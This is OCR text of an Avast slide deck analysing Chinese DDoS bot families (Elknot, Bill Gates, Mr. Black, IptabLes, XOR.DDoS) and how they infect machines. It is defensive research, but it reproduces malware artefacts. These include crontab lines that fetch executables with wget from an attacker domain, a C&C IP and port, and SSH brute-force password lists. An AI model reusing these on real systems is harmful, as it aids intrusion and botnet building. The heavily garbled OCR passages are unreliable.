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Timeline (+ References)

(Edwards, Nazario (ArborNetworks): “A Survey of Contemporary Chinese DDoS
Malware”, VB2011, Barcelona)

First builder of Linux flooding bot received at our backend in November 2013
Secure Honey honeypot: “Trojan Horse Uploaded”, November 2013
MalwareMustDie! : “Let's be more serious about (mitigating) DNS Amp ELF hack
attack”, December 2013 (Linux:Elknot)

Sempersecurus: “Another look at a cross-platform DDoS botnet”, Dec 2014
ValdikSS — “Uccnepyem Linux Botnet «BillGates»”, February 2014

Associating Elknot name with previous research, March 2014

Peter Kalnai
analysis of Win32/Linux:Elknot (December 2013)
B blog.malwaremustdie.org/2013/12/lets-b... O

Dr. Web — “DDoS Trojans attack Linux”, May 2014 (+Linux:MrBlack) ol avast’
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Timeline (+ References)

» Kaspersky: “Versatile DDoS Trojan for Linux”, July 2014

» Kaspersky: “elasticsearch Abuse on Amazon Cloud and More for DDoS and
Profit”, July 2014 (Infection chain)

* Prolexic (Akamai): “IptabLes/IptabLex DDoS Bots”, September 2014

« MMD!: “Tango down report of OP China ELF DDoS'er”, September 2014

e MMD!: “MMD-0026-2014 - Router Malware Warning | Reversing an ARM arch
ELF AES.DDoS”, September 2014 (UPX-packed ELF:MrBlack)

* Prolexic (Akamai): “Spike DDoS Toolkit”, October 2014 (ELF:MrBlack)

e ESET: “G20 2014 Summit Lure used to target Tibetan activists”, November
2014 (Windows ghOst RAT)

* MMD!: “China ELF botnet malware infection & distribution scheme

unleashed”, November 2014 .
o avaslt!
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Infection chain

LE g
* Attackers B/
* build ELF malware using a 043K, 194f - b 1375 MB
XHa g ES v & B ) =i E
customized builder B 2oinEdd 100515 b — 18 587 .rar 400.53 KB | 2014-8-12 6:53:34 7
B es.rar 955.56 KB | 2014-8-16 8:08:10 2
e start HTTP Fl|e Server (HFS) to L26_25000 1.13 ME | 2014-7-14 0:47:30 66
L26_250000 1.13 MB | 2014-8-3 3:49:20 5
host the DFEVIOUSIV built L26_36000 1.09 MB = 2014-6-30 0:12:32 4
o . . L26_36001 1.09 ME | 2014-6-30 0:24:32 5
maI|C|ous blnarles linux 577.93 KB | 2014-7-5 11:00:58 13
net1 1.44 MB | 2014-5-14 23:35:58 3
* run port scanners on IP ranges I3 scanPort.exe 46.00 KB | 2014-7-4 12:41:58 3
° Some Of the dlstrlbuted WlndOWS B ssHsecureshellClient-3.2.9.zip 5.13MB | 2014-7-4 12:41:58 5
& Tdakojcdl_NET.rar 57.84 KB | 2014-8-14 5:27:12 6
binaries infected by flle infectors B iiemgEeEEEEERal.ar | 368.78 KB 2014-7-1 7:48:50 7
El #ES ot 3.71 KB | 2014-8-12 13:40:36 1
(Pa rite’ Sahty’ V|rut) Bir =#orar 401.94 KB | 2014-8-12 14:34:26 9
4ttpFileServer 2.3 beta T LR
AT (E: 2014-8-28 159:04:14
fE&et s (16 &) 04:28:05
ol avast!
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Infection chain

* |f a port of interest is opened:
e script exploiting vulnerabilities
* Elasticsearch RCE: CVE-2014-3120
* Shellshock
* Apache Struts & Apache Tomcat
 MSO08-067 — Vulnerability in Server Service
* Targets windows machines
* Privilege escalation: CVE-2009-2692, CVE-2010-3081, CVE-2013-2094
* SSH brute force attack
* Lists of user names and passwords

* Runs from windows machine, targets Linux servers

o avast!
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Infection chain

* Usage of several hacking tools

* Port scanners

Wscanport =100] x|
. .
>canPort Eegg octngs ik B Results
P |192.1EB. 1.1 g ng IP =]
g%p: | . . . End|Ip

w0 |BI],139,44I]—445 Port humber

# | 200 Z@T|mgout (ms)
ZR: | 10 Thr¢ads I
=5 S S O T

* WinEggDrop

C:stemp~—E+Ri, »s.exe
»t Scanner Ul.1 By WinEggDrop

s.exe TCP-S8YH StartIP [EndIP] Ports [Threads] [~Bannerl] [-Savel

s.exe TCP 12_42_12.42 12.12.12.254 88 512

s.exe TCP 12.12.12.42 1-65535 512

s.exe TCP 12_.12_12_42 12.42.12.254 24,.3389.5631 512

s.exe TCP 12.12.12.42 21.338%2.5631 512

s.exe SYW 12121242 12.42.12.254 88

s.exe SYH 12.12.12.42 1-65535

s.exe SYW 12121242 12.412.12.254 21 ,.868.338%9 o
s.exe SYHW 12.412.12.412 21.868,.3389 (o) OVC]St!
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Infection chain

* Login/password bruteforcers ~ __ setup o5 Display

. SSH2.1 - .

e DUBrute 0|

zH |
e
~H e
1.55H2.1
Pl % B o R Y i
JHITTHRTRRE
4 eRIREIEAAN AR E. (FRTEEEIE1S0-200) RIEHZEALE.
150e& 1240 FR R TI=ES 004+, Fis
EEFEFR, FEATIFE R84,
may not be used for illegal peril. Start
Isu:uuru:e.txt SOUrce I I 10 Thread (max 2000}
Ibad.txt Try conneckions
Ig-:u:u:l.txt Good I 20 =+ TimeCuk
Ierr-:ur.txt Errar I I 1 3: AukoSave minuke
Ok, | Cancel | W o
Jol avast!
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Infection chain

. 123456
* Lists of target IP ranges 12345
1234
123
59.58.0.8 59.60.255.255 Egg:ty
61.184 .84 .68 61.194 84 .68 1q2u3enr
122.51.8.8 122.51.255.255 1qaz2usx
124.74.0.2 124 .78 .255.255 qazusx
202.96.0.8 202.119.123.175 123que
203.145.8.8  203.156.255.255 12
211.1083.8.8 211.143.255.255 123qaz
218.4.8.8  218.97.255.255 000
218.2008.0.08 218 .287 .255 . 255 oracle
219.138.0.8 219 .157 .255.250 1935567
221.2.8.8 221.13.255.255 12345 6querty
221.1308.0.8 221.131.255.255 passwordi23
221.176.0.8 221.183.255.255 12305678
222.89.0.8 222 .89 .255.255 abo123
222.137.0.8 222 .138.255.255 okmn i
222.209.08.8 222.243.255.255 test123
123456789
qlu2eldry
redhat
* Password lists nyeql
apache
abcd1234
passwird

* All tools and lists acquired from the HFS file listings on a compromised

machine
o avast!
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Infection chain

* Result of a port scan (wineggdrop) as found in an archive on a compromised

machine

* About 2M IPs scanned and 14K hosts with open port 22 found

Performing Time: 97172814 18:18:15 --> SYH Scan: About To Scan 1926688 IP Using 1 Thread
Y
Y
58,
58,
58,
.58,
Y
Y
Y
Y
58,
58,
58,
.58,
Y
Y
Y
Y
58,
58,
58,
.58,

5o
5o
59
59
59
o
5o
5o
5o
5o
59
59
59
o
5o
5o
5o
5o
59
59
59
o

a.
.25
.55
-232
-251
=145
-226
-1
-1
-112
111
-282
-89
-219
-286
227
- 186
- 143
178
43
-183
-188

MV EFErwWmRRMNRRN=-0mmm

1

22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22
22

Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
Open
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Binaries, common characteristics

Trojanized flooding tools
Significant portion of code seems to be shared among all the variants
Chinese locale
Some variants written in C++ (objects; classes)
Debug info often not stripped
Variety of supported flooding methods
 UDP, TCP/SYN, ICMP, DNS, DNS amplification
Various communication protocols

Kill competing resource consuming processes

o avast!
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Binaries, obfuscation techniques

e Binaries in plain form or packed with (modified) UPX
* UPX header modifications to avoid unpacking by the original UPX tool
 UPX magic modifications
e UPX magic should be found three times in ELF UPX binary
* All three magic values are the same, but different from “UPX!”
* All three magic values are different
* Checksums do not match
 (ELF:MrBlack; DDoS64; 18442c18d407ba32fdfa2bbf0c86565f)
 Header checksum (custom, 1 byte)
 compressed data (Adler, 4 bytes)

 uncompressed data (Adler, 4 bytes)

o avast!
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Binaries, obfuscation techniques

* Architecture mismatch
* (ELF:IptabLesx; .SSHH2; 6feb4677db052e9c7e19de52e3503db7)
* File with a 32-bit UPX header attempts to call 64-bit unpacking method
e Causes reading from wrong offsets
* Expected data size modification
* Pack Header contains incorrect field “uncompressed size”
e Original UPX tool exits with an error
* cannot unpack such modified binaries (very sensitive to PackHeader data)

 Dynamic behavior not altered

o avast!
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Binaries, obfuscation techniques

UPX Header Checksum (OxDD —> 0x39)
Decompressing method change:
* UPX_F_LINUX_ELF64_AMD (0x16)
e = UPX_F BSD ELF i386 (0x19)
Unpacked file size
* 0xB869F = 0x8760B
Header Offset
* 0OxBC - 0x80
Compressed data checksum

* 0xBA260B3A - 0xF65887DC

Aagaaaaa
Aagaaaac
gagaaa1s8
aagaaa2y
gagaaada
Aagaaaic
feo0eoLs

A808AA5 Y
AaBaAAG A
Aaaeaa6aE
AaBoaaa7 e
A800088Y
gagaaaa
ga8aaaec

original:

0OB4SEDS!
BAOLSEDC:
OBBYSEES:
BAOLSEFY:
06045F e |
BB045F BC !
08B45F 18!

corrected:

BAB4SEDA
88045EDC
BOBLSEER
BABLSEFY
BABL5F Ba

sif.e."egxn.
A..ya.51A0...
Jij. ... UPX?..
e UPXY ...

o1l Ki+d . .
O0B45F BC 5...u__1..9

BAB4S5F18

o avast!
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Advertisements

e Advertised on Chinese forums

Linux[E M 3LinuxEEEEDDOSI TSR (=250 =Rel

[0 %57 2013-12-15 21:42:00 | OEnfeE | &Fs BE EgEE Ve

M3LinuxEB A FiTiRwindows MzfT IRSIRSCIETE W% 3235 32{U 64{iLinux
£67 hmE EFrALnuIEERIEH LR (R RS . R EEL LU R A SHER S H U TEH 4
Wi o[iA TG AR ERER)
BRI RS iw, A R AT, R E{RIEE P LinuxfOES R O A ERIRE!
ME T RS N e ST S M A BN TR 7 LinudiEZIRSInEi2 s> T4
FEFNE....

m3LinuxEEHE T EEMY A 8Q9300 4G GOSYN/NMZE|E: S00M X BEEETIM#HE—G =
PRt EE AN EE LR
HalEs—5r , RIS 72 EL, SYNAS-/E8iE, UDPAE-/NMEED, RIEBCEK,
BHIZE , (BEISESEFDNSIHER,
m3LINnEEHERA DEAAS , BaTEEFEE , /EBs , EERE |, WiHWEm3LinuxEEF
. ISR, E RS MRS MBMIL , A& !
QQ289002340
WHEAIR NSRRI | RESEDE |, L
TEbHE ; http://url.cn/QnF3mh

#55: Goo=a @EfsEs $E7EE
| =y llﬂ?"ﬁﬂ

@ m= E== ] o
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Advertisements

e Advertised on Chinese forums (translation)

Views: 58 Replies: 0

siEjby

3
Theme | Friends

Newbie
ir
B Messag

16
Integrat

Linux cluster stress test M3Linux DDOS attacks on [copy link] R

D Posted on 2013-12-15 21:42:00 Show author | DESC Browse Landlord A lift 4

Under M3Linux host cluster attack software supports all windows server running 32-bit 64-bit
kernel support for Linux
combines the advantages of the market for all Linux software attacks (independent writing
code. very effective fire wall prevented the company to modify the parameters defense attacks.
up ignoring the soft part of the anti-)
control terminal and server software, upgrades in a timely manner, try to ensure that the
customer Linux lost. reduce unnecessary losses!
improves the core defects of the traditional software attacks. supports multiple network cards
on line, increasing the optimized Linux server connection thread. reduce accounting and other
resources ...

m3Linux cluster contract by the underlying protocol Q9300 4G G 900M mouth SYN packet to
the wall-to-wall large package can run over one G is the preferred tool for stress testing the
server websites
present the first paragraph, set only two kinds of attack mode. SYN big bag - packet mode.
UDP big bag - packet mode. According to their needs. Freedom to set, but the task is
configured DNS attacks modules there.
m3Linux cluster interface for saving the atmosphere, suitable for different customer needs, to
make a simple and obvious effect, welcome to buy m3Linux cluster. Customize a variety of
attack software and source code generator favorable price, welcome to inquire!
QQ289002340
Attack Uses: room Firewall stress test, stress test sites, hard proof test
Download: http://url.cn/QnF3mh
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Tools —Elknot

Characteristics:

* Presence of fake.cfg (xmit.ini) as a configuration file
* Available for Linux x86/x64, Windows x86/x64 and FreeBSD

* Command grammar supports 4 tasks:

StartTask
StopTask
WriteFake

SendStatus

(0x01)
(0x02)
(0x03)
(0x04)

o avast!
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Tools —Elknot’s Text -Box Builders

* Lightweight bot builders producing just one version of malware (e.g.
downloaded from www.wowoinn.com)

* The output is a plain Windows, resp. an ELF executable packed with UPX
X

YW HeiBai.Biz

6009 Build

MD5: 124273f1ec89ff6f53a9ff9cca55c493
= ] ]

Eml

i B LA, 1EE AR

MD5: f9294d0820de96c6b139cfceabdec22d
o, avast!
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Tools — Elknot’s Chicken Builder

(PrAazaE 00 =10| x|
. . R A B
* Large binary with embedded stubs . T g o7 et
* Setting up the C&C panel details: B ahed o 1SS seketnet
RO ISQEI?EI EX W) |598?D

* The IP address of panel

— Linu

1A |12:34:5Eu:ah:|:d:ef ™ iz T
e Port number fogh | abicdief12:34:56 I lreedn T linuxes
[~ &HEE+F ™ linux2 4
e Restriction of MAC address I IR
CRE — oS
e Setting up the bot details: L= regm [ TER
lalEL:"F [T gEstuoP [T TEBUDP
* the IP address of C&C ——  aEmRE [ TaRRs
o
* Port number “fﬂl_Freehsd

* Platform of an executable
o oy ey A

* Potential to produce enormous

number of unique samples with MD5: 71f0e327807cf570f1987a6ea9d45f96

o avast!
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Tools — Elknot for Linux

e System performance statistics

CPU statistics
* /proc/cpuinfo
* /proc/stat
Network statistics

* /proc/net

ethi: Bd41

mc [slave@slave-VirtualBox]:/proc

3z drop fifo colls carrier compr
0 0 ]
0 ] 1 0 0

o avast!
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Tools — Elknot for Windows

e C&C address and port are hardcoded in binary and encrypted by a simple

algorithm

o o o - o P P o o P
161 LJE)  BJE) BIg) 18 IRl EJg)

1 : 8 2 : 1 9 1 : 2 0 1 0 7 7 1

o]l avast!

be free



Tools — Elknot for Windows

* System performance statistics (uses Performance Monitor)

(il Performance

@ File  Action Miew Fawvorites  Window  Help

& = | e
D Zonsole Rook 9 + || =
| E ]
----- gﬁ System Manitar —I —I W—l @ —e @
l ﬁ Performance Logs and Alerts \\V-TRS-WINXP
Memory
Pages,/sec 14,665
Metwork Interface AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Bytes Total/sec 114,208
PhysicalDisk _Total
Avg. Disk Queue Length 2,223
Processor _Total
%s Processor Time 16,162
* CPU frequency
4'1? Computer Mame Type Data
> -\gs HKEY_CLASSES ROOT Default REG 57 value not set
E:E:—Eg?iiﬂﬁ’:?m @ MHz REG_DWORD 0:00000ach (2763)
4 EIEDEIEIDUUEIDEI ws| Component Inf... REG_BIMARY 00 00 00 Q0 00 00 00 00 00 00 00 00 00 00 00 00
S o . .
4. HARDWARE @Cnnﬁguratmn D... REG_FULL_RESOU...  ff ff ff ff ff ff ff £f 00 00 00 00 00 00 00 00
1 ACPT is| FeatureSet REG_D'WORD 21093 dfe (554253822)
. DESCRIPTION ab|[dentifier REG_SZ Inteldd Family & Model 30 Stepping 5
! System .ug] Platform ID REG_DWORD (00000001 (1)
. | BIOS _?5'1:'] Previous Update... REG_BIMARY 00 00 00 00 00 00 00 00
4. | CentralProcessor ab|ProcessorMName... REG_SZ Intel(R) Core(TM) 17 CPU 860 @ 2.80GHz »
! Bl ol | _‘i-';:-'ﬂ Update Signature REG_BIMARY 00 00 00 Q0 00 00 00 00




Tools — Elknot for Windows

Debug info contains the string “Chicken”:

-8643D01408 S5C 2A 44 B6-68 E4 43 B6-7B B0 00 6806- Wb dC.{ ...
- 88430154
-BO43D16E (|| 46 2A S5C 55-70 64 61 74-65 73 SC ES-8A AG E9 BO-9F 33 5C ES ||[F:-\Updates\d..é&._._3\3
-8043D17C (BB 8F E9 99-88 SC 43 68-69 63 6B 65-6E SC 52 65-6C 65 61 73 ||| ®.6..\Chicken\Releas
-B643D019208 ()| 65 S5C 73 76-63 68 G6F 73-74 2E 70 64-62 B8 B0-80 60 60 60 [j|esvsvchost.pdh

Installs into %PROGRAMFILES%/DbProtectSupport/svchost.exe

Persistence via creating a new item in Run registry key

Dropper (2fd539598af48b8ea96ba39c957ee73f) = 32/64-bit version of payload
e 32-bit version installs only one file — payload named svchost.exe
* 64-bit version installs additional signed components, which are part of
WinPcap
* Npf.sys = NetGroup Packet Filter driver, allows packet capture, packet
injection, network monitoring
* Packet.dll = communication with npf.sys

e for Windows Server 2008 R2 (64-bit only)

o avast!
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Tools — Elknot’s C&C Panels

* Supported attack methods (SYN, UDP
flood, etc.)

e List of connected bots with system info

* Targeted IP address with a port

* Number of threads, attack time etc.

* Additional dialogs with more options
LI

|ip | o5 | cpu | status
kY
=
HE
4| | i
=il

1
EHEE 08 [ ik |

EiE | s |

AR |

B
SN

5 oE R Il

B[ (B ): |E|El

~EE

Foyn o ~ o Cupp 512 ~ |1024

|

me |

=0l

— AT it 3 HETH
TEEEE 15 ’7 Fik | ik | ’7 A& | (e[ |
| i | 035 | P | Status | CPU(Dosage) | Fliowy (Mbps ) | Rernark |
M 127.0.0.1:20744 Windows ¥P 2783 = 0 ] baidu
4| | >
— M5
IP: IlE?‘.D.D.l it fmf IEID g3e: |1 TiERE () |6D
~ A& Kl biezen 2014 3
(ORI ~ o TEhs po Ut st pad so ne
24 25 260 27 22 1 2
34 5 6 7 &8 9
10 11 12 13 14 15 16
Cupp [s12 ~ 1024 1S 17 18 19 20 21 22 23

24 @Hh26 27 28 20 30
3311 2 3 4 5 6

o avast!
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Tools — Elknot’s C&C Panels

* Generated C&C panel from the Chicken builder

59870 I ] |
~Bir 8 BRRETATI— (BB [p [p e 5 [#s |
SRS AL 5HE) {81k (k) SERFFL FEPELE HEEEL 0% liu 2
it
IR EE CYaie Wik
fsa000 sNFEHEE 0 . o
HEthiE [ | : Jeo gz || T @R
B | HRERTIE () |60 1B |1
D | 24 [cupHz) %z |crusime | PsEmsMops) | £i%
. A

Po

&y e
gucnst!

S

be free



Tools — Bill Gates for Linux

* named after two files created in /tmp directory; contain PID of itself

» /tmp/bill.lock — created by payload

* /tmp/gates.lock — created by dropper

e Supported flooding methods (controlled from C&C):

CAttacklcmp

CAttackSyn

CAttackUdp

CAttackAmp (DNS amplification)
CAttackCC

CAttackDns

CAttackTns

e C&C command grammar very similar to the Elknot case

o avast!
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Tools — Bill Gates for Linux

e Characteristics:
* Persistence
» /[etc/init.d/DbSecuritySpt

e crontab:

# Edit this file to introduce tasks to be run by cron.

# Edit this file to introduce tasks to be run by cron.

*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&

o avast!
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Tools — Bill Gates for Linux

e Script performing regular actions via cron:
* Killing competing processes (Elknot’s node24; .IptabLes)
« Updating its executables (> 1hour)

# Edit this file to introduce tasks to be run by cron.

# To define the time you can provide concrete values for
# Edit this file to introduce tasks to be run by cron. # minute {m), hour {(h), day of month (dom), month {mon},
] ] ] ] # and day of week (dow) or use ‘%' in these fields {(for "any').#
# Edit this file to introduce tasks to be run by cron. # Motice that tasks will be started based on the cron's system
# Edit this file to introduce tasks to be run by cron. # daemon's notion of time and timezones.
®= * * = Rillall #
* = = * killall # Output of the crontab jobs (including errors) is sent through
* % x x killall # email to the user the crontab file belongs to (unless redirected).
* * * * killall #
* % * » killall # Edit this file to introduce tasks to be run by cron.
* * % * killall # Edit this file to introduce tasks to be run by cron.
* *® % x killall */128 = * * * cd fetc; wget http://www.dgnfd564sdf.com:8086/atdd
* *® % x killall %7128 = = = = cd fetc; wget http://www_dgnfdS64sdf.com:88808/cupsdd
* % ® x killall %7138 = * = = cd fetc; wget http://wwu_dgnfdS64sdf.com:88808/kysapd
* *x = x killall -9 ®/138 = = = = cd fetc; wget http://www._dgnfd564sdf _com:8088/sksapd
killall -9 *x/148 = = = = cd /fetc; wget http://www.dgnfd564sdf.com:8088/skysapd
killall /140 = = = * cd fetc; wget http://www.dgnfdS64sdf.com:8088/xfsdx
killall /128 = = = *= cd fetc; wget http://wuww.dgnfd56hsdf .com:80868/ksapd
killall #7128 = * = * cd froot;rm -rf dir nohup

killall
killall
this file to introduce tasks to be run by cron.

#t Edit this file to introduce tasks to be run by cron.

indicating with different fields when the task will be run

i
i
# Each task to run has to be defined through a single line
i
# and what command to run for the task

it

o, avast!’
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Tools — Bill Gates for Linux

* Configuration data are encrypted with RSA-1024

* On the stack: prime P, prime Q, modulus N & decrypted string

* P"AQ% N = configuration string

1- edb - fhome/slave/ftemp/cupsdd [13314]

ile View Debug Plugins Options Help

D

e |

Mo Analysis Found For This Region

DB06: 2450 B3 ec Oc sub esp, 12 B Registers
0E0E: 2460|8d 45 fb lea eax, [ebp-5]
0806 2463 (50 push eax . = B
1890494 ASCII "116.10,189,246:35000:1:1:h:579"
0B06:2464|e8 9d 8d fe ff call 0x0B04b206 e L O 2o SR 000 L D0
0806: 2459|183 c4 10 add esp, 16 bfed49e3]1 ASCITI "-29-generic-pae
BBO6: 246 |83 ec Oc sub esp, 12 BE1537a0
0806: 245F |8d 45 f4 lea eax, [ebp-12] bfe4sd34
0B06: 2472 (50 push eax
0B06:2473|e8 02 09 0L 00 call 0x08072d7a Bookmarks
0806 2478(83 c4 10 add esp, 16
0806: 247b (89 c2 mov edx, eax j eI [ ———
esp = bfe49d20
Add Del
ata Dump & X |Stack
bfed:9dz0|bfed9ddc |L. &d
088c6000-0892d000 bfe2a000-bfedb000 £ |ofes:od24|bfesndss|s. ad
0590245431 51 36 2e 5L 30 2e 51 38 59 2¢ 32 34 36 5a 53J116.10.189.246:3 B E}:Ejffgga Eiejggjg D.a:
0890:=424|35 30 30 30 3a 31 3a 31 3a 68 3a 35 37 39 33 36)5000:1:1:h:57936 foa. ode0| 08049310 @.a
0B90:e4b4|38 3a 35 37 39 38 38 34 3a 35 38 30 34 30 30 0O)8:579884: 580400, S Enred B
DB90:e4c4|33 34 33 41 33 35 33 38 33 30 33 34 33 30 33 30)|343A353830343030 S el B
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Q. H AL o =1 A Pl =
0850:474100 00 60 00 00 OO B0 00 00 00 0O 00 00 00 60 6Q).. ... R bfe4:od4d 0390c2e4 |54, . |ASCIT " 3EFCAESGASCA3EF2EE2A1 90435CEISOCED2AEL CODGSCDCIAE
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Tools — Bill Gates for Linux

* Decrypted payload: 116.10.189.246:35000:1:1:h:579368:579884:580400

g strConnTgts =116.10.189.246 ... IP address

* g_iGatsPort = 35000 ... port

* g iGatslsFx =1

* g ilsService =1 ... persistence

e g strBillTail =h ... payload fname suffix
e g strCryptStart = 579368 = 0x8d728 ... config

* g strDStart = 579884 = 0x8D92C ... exponent

* g strNStart = 580400 = 0x8DB30 ... modulus
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Tools — Bill Gates for Windows

Persistence: registry key in Run

Debug string similar to Win32:Elknot:

- 884 BED9 B

-84 BEDAL A8 18 41 66-280 FO 48 88-6C
-BB4BEDEBE (|52 53 44 53-FA E? 85 C4-AA o6C AD 44-82 A3 78 S51-48
-B04BEDCC (|61 B0 00 B66-46 3IA 5C 55-78 64 61 F4-65 73 SC E9-87 BD Ed 2E
-B84BEDEG| | BY 5C 47 61-74 65 73 49-6E 73 74 61-6C 6C 5C 52-65 6C 65 61
-BA4BEDFY||¥3 65 5C 47-61 74 65 73-49 6E 73 F4-61 6C 6C 2ZE-78

-..-F:yUpdatesyé. . a».
-3ZGatesInstallwRelea
sehyGatesInstall .pdi.

* Dropper (3621a7¢9b9b350326dcf4baa880e5771) = 32/64-bit version of payload &

service VS process; Usage of agony rootkit (source published, 2006);

* 2 payloads named svchOst.exe and DbSecuritySpt.exe in

%PROGRAMFILES%/DbSecuritySpt;

« SafeEngine protection libraries (SeSDKDummy.dll, SeSDKDummy64.dll)

64-bit version (Windows Server 2008):

* Npf.sys = NetGroup Packet Filter driver, allows packet capture, packet injection,

network monitoring

* Packet.dll = communication with npf.sys
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Tools —Mr. Black

* Large family containing also a malware group called AES.DDoS
* Contains various character strings: VERSONEX, VERSONEX, Mr.Black, Hacker,
DealWithDDoS, “Int Server...”
* List of attack supporting procedures
* DNS_Flood, SYN_Flood, UDP_Flood, UDPS_Flood, TCP_Flood, CC_Flood,
CC2_Flood, CC3_Flood, etc...
* Available for architectures:
* EM_386,EM_x86_64, EM_MIPS, EM_ARM, PE x86
e 1bedfad07f83c927cfd49ba03af816e2, 861f4cle8fele5c059d558eale465d86,

008ecf29e0c95f05be2a83a635d7ac31, fdcefb4b0541453a6d78c42094d71ba7
Devices may include: desktops, servers, routers, Internet of Things devices
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Tools — IptabLes/lptabLex

* Accompanied with a process killing the competing processes

* Competition over computer resources
* List of all the processes to kill is downloaded and named fuckopen.txt or kill.txt

disknyp) nake.rar|SystemﬂﬂﬂeﬂHell|FtdsﬂﬂﬂlﬂEHHB|dh[:|udd|nnllectd|wehFacE|httpdE
nerdf-s mudem|2ﬂ1hjaua hr|hra| .sayslog| .gsyslog|svchostnt|connp|nider |root
-.IFI|?B?|nude|kum|updatelipnudemﬁupyﬂgentltur'|pulipnliTunES|[l[|iPFru|1in5|_|,m
z2|7669]|svchost | fikkerd|fikkerd.monitor |spell|pro|cisco|QQiPPor |Krfcommod |multics |
mm1.rat|netzl |dcdap|auto.sbn|ccHFTTd |ccHGd |ccDMd |CCcam1 .x86_64|CCcam2 . x86
_64|CCcam3.x86_64|SCREEN|vip32 |vip64|ats|udp|SshToolMfc|ssh22| .szyslog|kter |ktlin

ux|ww3d2|chom|qqippro|irssi|weechat-curse|spell |udisks-daemoe |KY32|fFfmpeqg1|ios|csh
rcc| .aptitudecach|ccac |[nodeJR] sszz|ss| .aptitudecache |nt520|ceshi6308]|1t32|conn|get

texs|klogd |wode32 | 6xdj|CXLSKET | SRXT| |nc|proupdate| .ipsee|Huajunimn2 |huajunkm2 |gn32 |
nt@e832 |huajunDs32|5xdj| -Ds32 |huajunTSm|HuajunTSm|huajun2im|huajunUST |kiilp|yasgl|
quzuiBi|s|i|xsw|CROND|atack|winbindd |Dubhe |boinc|Diy|Ciyu|Kiki |Koko|xiaol32 |Dyo|C
iye|Ciy|wineserver |dogecoind|linuxlx|psdflush|aitingajyan]xiaoze sncky Ism
r|test|5u¢am|gz§ﬂ|H:HEIhldeEE|hldhnﬁh[gtnd|higd|mi:9|zxtu-32|HF55ynn- x¥Fsbufd|xu

dp|zdan|ulsankrss Cqee |DKK|Bps|Cismd | Dduvx |Uhdf | Xosxx|bl|gdmn3 |ntpd|inet
d|nmbd | lwresd|in.qpopper |linuxx|1inux22811|1inux32013|1t28991 |nt19999|Ratjgscp|at

dd |atddd |cupsdd | ksapd | kysapd |sksapd|skysapd | ttyrec | hpnds |gpidd|logon|loop |LCDd |m
cpd|mim1 mipsecdlsod|Hlalnfsd] tumlyk32|zhe |ks61]3
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Tools —IptabLes/IptabLex

e MD5: c17cb63de68a37de222b5315bc0ead7e (EM _386),
e79c37e207f8695b61291b2e85636aef (EM_x86_64) (ELF:lIptablesx)
* Persistence:
 [nstalls itself into /boot/IptabLex, resp. /boot/IptabLes
* symbolic links in /etc directory
* List of attack supporting procedures
* SynFloodThread
* DnsFloodThread
e Command grammar supports: add task, delete task, set source IP, self-update
* Additional Windows 32-bit variants (iptables.exe, getsetup.exe)

e 455068e0444107ee5fb993f343184e03
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Tools —XOR.DDoS

e MD5: fd3f2c810f4391be2e6b82429c53¢318 (ELF:Xorddos)

 More advanced Trojan for EM_386 & EM_x86_ 64 installed in /boot/<random> and
autostarted via a script in /etc/init.d

* Flooding features: build _dns, build_syn

* Named after encryption method used with xorkeys = “BB2FA36AAA9541F0”

e Strings: “/var/run/sftp.pid”, “/lib/udev/udev”, “/lib/udev/”, “/boot/”, “/var/run/”,
“http://info.3000uc.com/config.rar”, “/var/run/sftp.pid”

* Contains embedded rootkit (LKM) running as rs_dev
* Rootkit features: hide file, hide proc, hide tcp4 ports, hide tcp6_ports,
hide _udp4 ports, hide _udp6_ports; firewall _acceptip, firewall _dropip
* Trojan (userspace) requests rootkit features (the kernel) via ioct/ with the code

0x9748712
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Tools —ghOst RAT C&C panel & Bot Builder

» Strings “Chicken”, “Hacker”; Windows only; source shared; huge number of samples

- 10| x|
CEHC WO EBEW  FWENH) i Prox
ConnectionOptions Checkout Help . - man:f;ment ) Ch;ti T
E_ SN M7 vido& v’
TR RERTF BEIEFR ooasT RBREEE M E %}EEIEFHH%E@?M%&HJPE £3Penst | A RiREIR
ID | #E-IP EF P F-1P BRI | B CPUER | MITE | GERE | AR | bR | HE | FF | TE | HiEE | IRnE |
external IP internal IP computer name 08§ CPU memory  video wersion card down attack
1| | 1
~. Defaulk)
I | emy | iz8 I
[2014-11-25 12:0%:17] ZAMER ST I Qoee1322405
[2014-11-25 12:05:17] FEFEBED FHIP: [10.96,93.240] B 0FRO: [2012]
L
i:fgurma gateh . Stress Cuystom [?D'u"-"ﬂlﬂad Bundled Utilities Domain Program Generate
tion operation test 4. list tools update settings server.exe
BEEE | BRI | BN | aEXES | PIETE | IBSTE |£RAIE | a8k | 8558 | £RiESIR
(EMAFt: NTi0 KPi0 VistaD Win7:0 2ki0 2k3:i0 2k&:0 Other:o ||5: 0,00 kbys R 0,00 kbjs | #R0: 2012 |E3E 0 x‘|,;; ]UCISt!O

b78d0c90674ae6891d4b2d0fcddad433a
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Statistics

* Number of victims is lower than in case B cisco 124MB  2014-49 1:24:10
=l cnet? 1713 KB 2013-10-27 22:47:44 224
of other Windows threats copyright LIBME  2013-11-0 8:19:33 5
ethtool 1.17 MB 2014-9-22 0:29:05 17
 HTTP servers running on compromised B 113MB | 201487 33:05-12
) kerne 1.08MB  2014-8-7 22:57:42 55
machines show thousands of kerne 124MB 201447 14:59:53 2301
. . E ku.rar l.e6 MB 2013-12-31 20:52:53 v
downloads, but considering self- T PPy E———— »
updates the number coud belower 2 ZE MUoE
° Download Count O.I: ” Bl” Gatesn portmay 384./3 KB  2013-9-17 23:58:29 6
@ r.rag 1934 KB 2013-10-14 17:13:28 10
insta”er iS h|gh||ghted shift.exe 459.21 KB 2014-5-12 22:22:47 4
soCket 13.04 KB 2014-8-7 22:52:42 &
gsh 1.24 MB 2014-4-13 21:21:18 a
B sohbd.oz 88152 KB  2014-10-3 17:15:48 0
sshd 1.08 MB 2014-8-7 22:57:42 395
taskgrm- 7078 2013-11-11 20:04:42 6
S 9.93MB 2013-11-17 22:56:15 13
ﬁr Weyscheck.exe 421.00 KB 2014-5-12 22:25:37 &
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Statistics

 Downloads from HFS server on a different machine, showing tens of

thousands downloads

-4 me - ,
s XHa T ER | AN ER) £ oiniial
